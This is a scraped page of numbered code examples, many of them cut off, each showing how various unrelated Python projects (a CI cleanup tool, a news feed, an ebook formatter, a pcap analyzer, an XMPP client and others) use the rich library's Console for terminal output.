# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.
"""Cleans up the environment before starting CI."""

import rich_click as click
from rich.console import Console

from airflow_breeze.utils.run_utils import run_command

console = Console(force_terminal=True, color_system="standard", width=180)

option_verbose = click.option(
    "--verbose",
    envvar='VERBOSE',
    is_flag=True,
    help="Print verbose information about free space steps",
)

option_dry_run = click.option(
    "--dry-run",
    is_flag=True,
    help="Just prints commands without executing them",
)

コード例 #21
0
class CustomPrint():
    def __init__(self):
        self.CustomColor = {
            "info": range(214, 232),
            "error": range(196, 214),
            "success": range(106, 124),
            "logo": range(0, 255)
        }
        self.Spinner = [
            'circle', 'balloon', 'simpleDots', 'christmas', 'monkey', 'moon',
            'point', 'runner', 'weather'
        ]
        self.Console = Console()

    def PrintInput(self, text):
        return self.Console.input(
            f'{text} :backhand_index_pointing_right: : [bold orange]')

    def PrintLogo(self, text):
        rainbow = RainbowHighlighter(self.CustomColor['logo'])
        self.Console.print(rainbow(text))

    def PrintInfo(self, text):
        rainbow = RainbowHighlighter(self.CustomColor['info'])
        self.Console.print(rainbow(f'[*] {text}\n'))

    def PrintError(self, text):
        rainbow = RainbowHighlighter(self.CustomColor['error'])
        self.Console.print(rainbow(f'[!] {text}\n'))

    def PrintSuccess(self, text):
        rainbow = RainbowHighlighter(self.CustomColor['success'])
        self.Console.print(rainbow(f'[+] {text}\n'))

    def PrintRule(self, text, style='green'):
        self.Console.rule(text, style=style)

    def PrintStatus(self, text, fun, **kwargs):
        with self.Console.status(text, spinner=choice(self.Spinner)):
            return fun(**kwargs)

    def PrintDirTree(self, dirpath, dirdepth):
        DirTree = Tree(f'目录结构:\n{os.path.basename(dirpath)}',
                       guide_style='green')
        self.__ListDir(DirTree, dirpath, dirdepth)
        self.Console.print(DirTree)

    def __ListDir(self, dirtree, dirpath, dirdepth):
        Color = ['blue', 'orange'
                 'yellow', 'green', 'cyan', 'purple', 'red'][dirdepth]
        dirdepth -= 1
        if dirdepth <= 0:
            return
        for _ in os.listdir(dirpath):
            Path = self.__ReslovePath(dirpath, _)
            if os.path.isfile(Path):
                dirtree.add(f':page_facing_up:{_}')

            if os.path.isdir(Path):
                if _ not in ['', os.curdir, os.pardir]:
                    self.__ListDir(
                        dirtree.add(f':file_folder:{_}', guide_style=Color),
                        Path, dirdepth)

    def __ReslovePath(self, *args):
        return os.path.abspath(os.path.join(*args))
コード例 #22
0
import requests
import pandas as pd
import datetime
import yfinance as yf
from rich import print
from rich import inspect
from rich.color import Color
from rich.console import Console
console = Console()


class NewsFeed:
    """Multiple news title and links as a single string based on interest
    """
    base_url = "http://newsapi.org/v2/"
    api_info = pd.read_excel(
        '/Users/paulsprouse/Desktop/API_info/API_List.xlsx')
    api_key = api_info[api_info['API_Name'] == 'newsapi.org']['API_number'][0]

    def __init__(self,
                 interest,
                 from_date,
                 to_date,
                 source_type='everything',
                 country='us',
                 q="qInTitle",
                 language='en',
                 sort_by="sortBy=publishedAT"):
        self.source_type = source_type
        self.country = country
        self.q = q
コード例 #23
0
ファイル: clean.py プロジェクト: Venkata16924B/tools-1
def clean() -> int:
    """
	Entry point for `se clean`
	"""

    parser = argparse.ArgumentParser(
        description=
        "Prettify and canonicalize individual XHTML, SVG, or CSS files, or all XHTML, SVG, or CSS files in a source directory. Note that this only prettifies the source code; it doesn’t perform typography changes."
    )
    parser.add_argument("-v",
                        "--verbose",
                        action="store_true",
                        help="increase output verbosity")
    parser.add_argument(
        "targets",
        metavar="TARGET",
        nargs="+",
        help=
        "an XHTML, SVG, or CSS file, or a directory containing XHTML, SVG, or CSS files"
    )
    args = parser.parse_args()

    console = Console(
        highlight=False,
        theme=se.RICH_THEME,
        force_terminal=se.is_called_from_parallel()
    )  # Syntax highlighting will do weird things when printing paths; force_terminal prints colors when called from GNU Parallel

    for filepath in se.get_target_filenames(
            args.targets, (".xhtml", ".svg", ".opf", ".ncx", ".xml"), []):
        if args.verbose:
            console.print(
                f"Processing [path][link=file://{filepath}]{filepath}[/][/] ...",
                end="")

        try:
            se.formatting.format_xml_file(filepath)
        except se.MissingDependencyException as ex:
            se.print_error(ex)
            return ex.code
        except se.SeException as ex:
            se.print_error(
                f"File: [path][link=file://{filepath}]{filepath}[/][/]. Exception: {ex}",
                args.verbose)
            return ex.code

        if args.verbose:
            console.print(" OK")

    for filepath in se.get_target_filenames(args.targets, (".css", ), []):
        # Skip core.css as this must be copied in from the template
        if filepath.name == "core.css":
            continue

        if args.verbose:
            console.print(
                f"Processing [path][link=file://{filepath}]{filepath}[/][/] ...",
                end="")

        with open(filepath, "r+", encoding="utf-8") as file:
            css = file.read()

            try:
                processed_css = se.formatting.format_css(css)

                if processed_css != css:
                    file.seek(0)
                    file.write(processed_css)
                    file.truncate()
            except se.SeException as ex:
                se.print_error(
                    f"File: [path][link=file://{filepath}]{filepath}[/][/]. Exception: {ex}",
                    args.verbose)
                return ex.code

        if args.verbose:
            console.print(" OK")

    return 0
コード例 #24
0
    if os.path.isfile(directory_p):
        last_path = os.path.basename(os.path.normpath(directory_p))
        if last_path.split(".")[1].startswith("pcap"):
            return [directory_p]  # torno il file su cui lavorare
        else:
            return -1  # ritorno errore
    else:
        for r, d, f in os.walk(directory_p):
            for file in f:
                if ('.pcap' in file or '.pcapng' in file):
                    pcap_app.append(os.path.join(r, file))
        return pcap_app


if __name__ == "__main__":
    console = Console()
    with open("text.txt", "r") as f:
        console.print(
            f"[bold magenta]{f.read()}[/bold magenta]\n[bold magenta]Authors:[/bold magenta] Gianluca Perna[i]([email protected])[/i], Dena Markudova[i]([email protected])[/i]\n\n"
        )

    multiprocessing.freeze_support()
    parser = argparse.ArgumentParser(description="RTP flow analyzer")
    parser.add_argument("-d",
                        "--directory",
                        help="Master directory",
                        required=True)
    parser.add_argument("-j",
                        "--join",
                        help="Join all .csv",
                        action='store_true')
コード例 #25
0
ファイル: columns.py プロジェクト: danielSanchezQ/rich-1
"""
This example shows how to display content in columns.

The data is pulled from https://randomuser.me
"""

import json
from urllib.request import urlopen

from rich.console import Console
from rich.columns import Columns
from rich.panel import Panel


def get_content(user):
    """Extract text from user dict."""
    country = user["location"]["country"]
    name = f"{user['name']['first']} {user['name']['last']}"
    return f"[b]{name}[/b]\n[yellow]{country}"


console = Console()

users = json.loads(
    urlopen("https://randomuser.me/api/?results=30").read())["results"]
console.print(users, overflow="ignore", crop=False)
user_renderables = [Panel(get_content(user), expand=True) for user in users]
console.print(Columns(user_renderables))
コード例 #26
0
log_colors = {
    "error": typer.colors.RED,
    "exception": typer.colors.RED,
    "critical": typer.colors.RED,
    "fatal": typer.colors.RED,
    "warning": typer.colors.YELLOW,
}
# log_colors = {
#     "error": "[bright_red]",
#     "exception": "[bright_red]",
#     "critical": "[bright_red]",
#     "fatal": "[bright_red]",
#     "warning": "[dark_orange4]",
# }
console = Console(emoji=False, markup=False)
to_debug = [
    "Loaded token from storage from file"
]


class MyLogger:
    def __init__(self, log_file: Union[str, Path], debug: bool = False, show: bool = False, verbose: bool = False):
        self._DEBUG = debug
        self.log_msgs = []
        self.verbose = verbose
        if isinstance(log_file, Path):
            self.log_file = log_file
        else:
            self.log_file = Path(log_file)
        self._log = self.get_logger()
コード例 #27
0
ファイル: table.py プロジェクト: youngchaena/rich
        "$1,332,539,889",
        style="on black",
        end_section=True,
    )
    table.add_row(
        "Dec 16, 2016",
        "Rogue One: A Star Wars Story",
        "$1,332,439,889",
    )

    def header(text: str) -> None:
        console.print()
        console.rule(highlight(text))
        console.print()

    console = Console()
    highlight = ReprHighlighter()
    header("Example Table")
    console.print(table, justify="center")

    table.expand = True
    header("expand=True")
    console.print(table)

    table.width = 50
    header("width=50")

    console.print(table, justify="center")

    table.width = None
    table.expand = False
コード例 #28
0
# Art

r_ansi = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")

thumb_font_path = Path(__file__).parent / "SourceCodePro-Regular.ttf"

THUMB_W = 80
THUMB_H = 19

ansi_decoder = AnsiDecoder()

default_theme = Theme()  # TODO mirror the css as closely as possible
mock_console = Console(
    color_system="truecolor",
    theme=default_theme,
    force_terminal=True,
    width=float("inf"),
    tab_size=8,
)


class Art(TimeStampedModelMixin, Model):
    artist = ForeignKey(User, on_delete=PROTECT)

    title = CharField(max_length=80, validators=text_validators)
    description = TextField(blank=True, null=True, validators=text_validators)

    nsfw = BooleanField()

    thumb_x_offset = IntegerField(default=0)
    thumb_y_offset = IntegerField(default=0)
コード例 #29
0
ファイル: main.py プロジェクト: diazMafer/xmpp-client
from rich.measure import Measurement
from rich import box
from rich.text import Text

isLogin = False


class EmailHighlighter(RegexHighlighter):
    """Apply style to anything that looks like an email."""

    base_style = "example."
    highlights = [r"(?P<email>[\w-]+@([\w-]+\.)+[\w-]+)"]


theme = Theme({"example.email": "bold magenta"})
console = Console(highlighter=EmailHighlighter(), theme=theme)


def registerAccount():
    questions = [{
        'type': 'input',
        'message': 'Enter your username',
        'name': 'username'
    }, {
        'type': 'password',
        'message': 'Enter your git password',
        'name': 'password'
    }]
    answers = prompt(questions, style=custom_style_2)
    x = clientmethods.register(answers['username'], answers['password'])
    if (x == 1):
コード例 #30
0
ファイル: what.py プロジェクト: kal1gh0st/Python
def print_tags(ctx, opts, value):
    if value:
        tags = sorted(AvailableTags().get_tags())
        console = Console()
        console.print("[bold #D7Afff]" + "\n".join(tags) + "[/bold #D7Afff]")
        sys.exit()